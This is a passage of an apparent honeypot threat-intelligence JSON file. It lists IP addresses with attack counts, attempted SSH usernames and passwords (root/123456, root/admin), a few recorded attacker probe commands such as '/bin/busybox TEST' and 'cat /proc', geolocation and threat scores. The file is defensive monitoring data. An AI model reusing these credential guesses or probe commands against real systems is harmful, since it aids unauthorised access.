      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.3,
        "persistence": 2.5,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 3,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-25T18:40:44.590000+00:00",
        "last_seen_30d": "2026-05-27T18:41:59.005000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Cowrie": 23,
        "Honeytrap": 4,
        "Tanner": 2,
        "H0neytr4p": 1,
        "Ipphoney": 1
      }
    },
    "96.8.116.26": {
      "attack_count": 18,
      "first_seen": "2026-05-28T19:15:16.384Z",
      "last_seen": "2026-05-31T04:19:25.137Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T19:15:16.384000+00:00",
        "last_seen_30d": "2026-05-31T04:20:29.015000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "183.212.245.137": {
      "attack_count": 16,
      "first_seen": "2026-05-13T08:04:08.014Z",
      "last_seen": "2026-05-13T08:12:09.522Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T08:04:08.014000+00:00",
        "last_seen_30d": "2026-05-13T08:13:17.348000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "172.234.217.129": {
      "attack_count": 15,
      "first_seen": "2026-05-05T15:25:44.419Z",
      "last_seen": "2026-05-18T11:13:43.625Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.5,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 23,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T21:02:35.231000+00:00",
        "last_seen_30d": "2026-05-26T15:11:20.022000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 38,
        "Cowrie": 15,
        "Dionaea": 2,
        "ElasticPot": 1
      }
    },
    "208.84.100.117": {
      "attack_count": 15,
      "first_seen": "2026-05-25T17:29:41.299Z",
      "last_seen": "2026-05-25T17:29:47.931Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22295,
      "as_org": "Advin Services LLC",
      "threat_score": 43.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.1,
        "persistence": 7.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 9,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-18T07:45:02.991000+00:00",
        "last_seen_30d": "2026-05-26T11:22:48.626000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 15,
        "Tanner": 4,
        "Adbhoney": 2
      }
    },
    "36.35.162.5": {
      "attack_count": 14,
      "first_seen": "2026-05-15T16:29:11.850Z",
      "last_seen": "2026-05-15T16:29:18.631Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T16:29:11.850000+00:00",
        "last_seen_30d": "2026-05-15T16:30:27.256000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 5
      }
    },
    "46.101.137.127": {
      "attack_count": 14,
      "first_seen": "2026-05-17T01:05:32.693Z",
      "last_seen": "2026-05-19T18:22:28.075Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T01:05:32.693000+00:00",
        "last_seen_30d": "2026-05-20T14:55:20.849000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Cowrie": 14
      }
    },
    "65.49.1.10": {
      "attack_count": 14,
      "first_seen": "2026-05-12T02:51:45.630Z",
      "last_seen": "2026-05-24T01:35:30.546Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 368,
        "days_active_30d": 30,
        "ports_targeted_30d": 93,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T05:19:16.661000+00:00",
        "last_seen_30d": "2026-05-31T13:30:38.302000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 237,
        "Honeytrap": 103,
        "Cowrie": 14,
        "Tanner": 5,
        "Adbhoney": 4,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "142.171.240.236": {
      "attack_count": 12,
      "first_seen": "2026-05-09T04:13:38.164Z",
      "last_seen": "2026-05-10T22:00:30.405Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T04:13:38.164000+00:00",
        "last_seen_30d": "2026-05-10T22:01:36.612000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "201.238.2.224": {
      "attack_count": 10,
      "first_seen": "2026-05-23T02:49:16.733Z",
      "last_seen": "2026-05-23T06:44:30.459Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:49:16.733000+00:00",
        "last_seen_30d": "2026-05-23T06:45:35.688000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "38.191.81.201": {
      "attack_count": 10,
      "first_seen": "2026-05-11T08:30:47.323Z",
      "last_seen": "2026-05-11T08:38:59.927Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Zarzal",
      "asn": 273145,
      "as_org": "GRUPO SERVINET S.A.S.",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T08:30:47.323000+00:00",
        "last_seen_30d": "2026-05-11T08:49:43.118000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "82.156.195.173": {
      "attack_count": 10,
      "first_seen": "2026-05-16T19:27:49.633Z",
      "last_seen": "2026-05-16T19:27:56.411Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "lbmpqvFV8m"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T19:27:49.633000+00:00",
        "last_seen_30d": "2026-05-16T19:30:28.482000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "218.4.120.211": {
      "attack_count": 9,
      "first_seen": "2026-05-23T23:03:52.063Z",
      "last_seen": "2026-05-23T23:06:05.710Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T23:12:06+00:00",
        "last_seen_30d": "2026-05-23T23:16:12.593000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 9,
        "Honeytrap": 1
      }
    },
    "201.238.3.206": {
      "attack_count": 8,
      "first_seen": "2026-05-19T04:47:33.018Z",
      "last_seen": "2026-05-19T06:14:16.361Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:47:33.018000+00:00",
        "last_seen_30d": "2026-05-19T06:15:20.195000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "45.191.210.243": {
      "attack_count": 8,
      "first_seen": "2026-05-12T02:37:06.903Z",
      "last_seen": "2026-05-12T02:45:12.082Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 dos Campos",
      "asn": 269685,
      "as_org": "NET SAO JOSE LDTA - ME",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:37:06.903000+00:00",
        "last_seen_30d": "2026-05-12T02:46:16.353000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "18.222.219.142": {
      "attack_count": 7,
      "first_seen": "2026-05-28T13:20:52.333Z",
      "last_seen": "2026-05-28T13:21:13.231Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T13:15:15+00:00",
        "last_seen_30d": "2026-05-28T13:31:13.403000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 9,
        "Cowrie": 7
      }
    },
    "139.162.182.234": {
      "attack_count": 6,
      "first_seen": "2026-05-08T01:47:06.269Z",
      "last_seen": "2026-05-08T01:47:08.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:47:06.269000+00:00",
        "last_seen_30d": "2026-05-08T01:48:10.988000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "149.5.1.233": {
      "attack_count": 6,
      "first_seen": "2026-05-11T18:34:09.169Z",
      "last_seen": "2026-05-11T18:34:11.185Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Redditch",
      "asn": 399275,
      "as_org": "Solid Systems LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:34:09.169000+00:00",
        "last_seen_30d": "2026-05-11T18:35:12.822000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "157.230.123.106": {
      "attack_count": 6,
      "first_seen": "2026-05-03T19:21:45.099Z",
      "last_seen": "2026-05-03T19:30:14.931Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:21:45.099000+00:00",
        "last_seen_30d": "2026-05-03T19:38:53.300000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "185.242.226.19": {
      "attack_count": 6,
      "first_seen": "2026-05-02T18:05:37.884Z",
      "last_seen": "2026-05-25T22:01:02.675Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 29,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T01:44:43.885000+00:00",
        "last_seen_30d": "2026-05-30T16:08:47.234000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 22,
        "Cowrie": 6,
        "Dionaea": 6
      }
    },
    "192.42.116.57": {
      "attack_count": 5,
      "first_seen": "2026-05-21T23:08:27.872Z",
      "last_seen": "2026-05-21T23:08:41.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "rot"
      ],
      "passwords_attempted": [
        "3oki@3oki"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-21T23:08:27.872000+00:00",
        "last_seen_30d": "2026-05-24T01:25:34.929000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "H0neytr4p": 9,
        "Ciscoasa": 7,
        "Cowrie": 5
      }
    },
    "177.232.81.251": {
      "attack_count": 4,
      "first_seen": "2026-05-21T21:19:44.086Z",
      "last_seen": "2026-05-21T21:23:58.823Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Orizaba",
      "asn": 28531,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:19:44.086000+00:00",
        "last_seen_30d": "2026-05-21T21:30:45.840000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4
      }
    },
    "46.236.108.125": {
      "attack_count": 4,
      "first_seen": "2026-05-05T16:49:23.922Z",
      "last_seen": "2026-05-10T08:50:49.235Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Ume\u00e5",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:49:23.922000+00:00",
        "last_seen_30d": "2026-05-10T08:51:53.445000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "54.184.100.170": {
      "attack_count": 4,
      "first_seen": "2026-05-07T05:38:39.560Z",
      "last_seen": "2026-05-07T05:38:39.564Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1220,
        "days_active_30d": 1,
        "ports_targeted_30d": 978,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-07T05:38:39+00:00",
        "last_seen_30d": "2026-05-07T05:40:02.846000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1119,
        "Honeytrap": 82,
        "Cowrie": 4,
        "ConPot": 3,
        "Miniprint": 3,
        "Adbhoney": 2,
        "H0neytr4p": 2,
        "Ipphoney": 2,
        "Tanner": 2,
        "Ciscoasa": 1
      }
    },
    "8.217.99.120": {
      "attack_count": 4,
      "first_seen": "2026-05-25T23:28:27.387Z",
      "last_seen": "2026-05-25T23:28:35.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T23:28:27.387000+00:00",
        "last_seen_30d": "2026-05-25T23:29:38.584000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "172.237.118.249": {
      "attack_count": 3,
      "first_seen": "2026-05-25T10:37:41.987Z",
      "last_seen": "2026-05-25T10:39:21.259Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:18:46.692000+00:00",
        "last_seen_30d": "2026-05-25T10:40:21.585000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "2.27.4.174": {
